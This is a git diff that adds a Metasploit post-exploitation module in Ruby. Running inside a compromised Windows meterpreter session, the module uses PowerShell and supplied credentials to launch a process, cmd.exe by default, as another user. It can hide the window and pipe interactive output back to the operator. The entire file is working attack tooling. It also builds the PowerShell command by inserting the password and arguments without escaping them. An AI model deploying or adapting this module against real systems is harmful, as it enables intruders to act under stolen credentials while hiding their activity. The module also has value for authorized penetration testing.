|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | +require 'rex' |
| 8 | +require 'msf/core/post/windows/powershell' |
| 9 | + |
| 10 | +class MetasploitModule < Msf::Post |
| 11 | + include Msf::Post::Windows::Powershell |
| 12 | + def initialize(info = {}) |
| 13 | + super( |
| 14 | + update_info( |
| 15 | + info, |
| 16 | + 'Name' => 'Windows \'Run As\' Using Powershell', |
| 17 | + 'Description' => %q( This module will start a process as another user using powershell. ), |
| 18 | + 'License' => MSF_LICENSE, |
| 19 | + 'Author' => [ 'p3nt4' ], |
| 20 | + 'Platform' => [ 'win' ], |
| 21 | + 'SessionTypes' => [ 'meterpreter' ] |
| 22 | + ) |
| 23 | + ) |
| 24 | + register_options( |
| 25 | + [ |
| 26 | + OptString.new('USER', [true, 'User to run executable as', nil]), |
| 27 | + OptString.new('PASS', [true, 'Password of user', nil]), |
| 28 | + OptString.new('DOMAIN', [false, 'Domain of user', '']), |
| 29 | + OptString.new('EXE', [true, 'Executable to run', 'cmd.exe']), |
| 30 | + OptString.new('ARGS', [false, 'Arguments', nil]), |
| 31 | + OptString.new('PATH', [true, 'Working Directory', 'C:\\']), |
| 32 | + OptBool.new('CHANNELIZE', [true, 'Chanelize output, required for reading output or interracting', true]), |
| 33 | + OptBool.new('INTERACTIVE', [true, 'Run interactively', true]), |
| 34 | + OptBool.new('HIDDEN', [true, 'Hide the window', true]) |
| 35 | + ], self.class) |
| 36 | + end |
| 37 | + |
| 38 | + def run |
| 39 | + raise "Powershell is required" if !have_powershell? |
| 40 | + # Variable Setup |
| 41 | + user = datastore['user'] |
| 42 | + pass = datastore['pass'] |
| 43 | + domain = datastore['domain'] |
| 44 | + exe = datastore['exe'].gsub("\\", "\\\\\\\\") |
| 45 | + inter = datastore['interactive'] |
| 46 | + args = datastore['args'] |
| 47 | + path = datastore['path'].gsub("\\", "\\\\\\\\") |
| 48 | + channelized = datastore['channelize'] |
| 49 | + hidden = datastore['hidden'] |
| 50 | + # Check if session is interactive |
| 51 | + if (!session.interacting and inter) |
| 52 | + print_error("Interactive mode can only be used in a meterpreter console") |
| 53 | + print_error("Use 'run post/windows/manage/run_as_psh USER=x PASS=X EXE=X' or 'SET INTERACTIVE false'") |
| 54 | + raise 'Invalide console' |
| 55 | + end |
| 56 | + # Prepare powershell script |
| 57 | + scr = "$pw = convertto-securestring '#{pass}' -asplaintext -force; " |
| 58 | + scr << "$pp = new-object -typename System.Management.Automation.PSCredential -argumentlist '#{domain}\\\\#{user}',$pw; " |
| 59 | + scr << "Start-process '#{exe}' -WorkingDirectory '#{path}' -Credential $pp" |
| 60 | + if (args and args != '') |
| 61 | + scr << " -argumentlist '#{args}' " |
| 62 | + end |
| 63 | + if hidden |
| 64 | + print_status("Hidden mode may not work on older powershell versions, if it fails, try HIDDEN=false") |
| 65 | + scr << " -WindowStyle hidden" |
| 66 | + end |
| 67 | + scr = " -c \"#{scr}\"" |
| 68 | + # Execute script |
| 69 | + p = client.sys.process.execute("powershell.exe", scr, |
| 70 | + 'Channelized' => channelized, |
| 71 | + 'Desktop' => false, |
| 72 | + 'Session' => false, |
| 73 | + 'Hidden' => true, |
| 74 | + 'Interactive' => inter, |
| 75 | + 'InMemory' => false, |
| 76 | + 'UseThreadToken' => false) |
| 77 | + print_status("Process #{p.pid} created.") |
| 78 | + print_status("Channel #{p.channel.cid} created.") if (p.channel) |
| 79 | + # Process output |
| 80 | + if (inter and p.channel) |
| 81 | + client.console.interact_with_channel(p.channel) |
| 82 | + elsif p.channel |
| 83 | + data = p.channel.read() |
| 84 | + print_line(data) if data |
| 85 | + end |
| 86 | + end |
| 87 | +end |
0 commit comments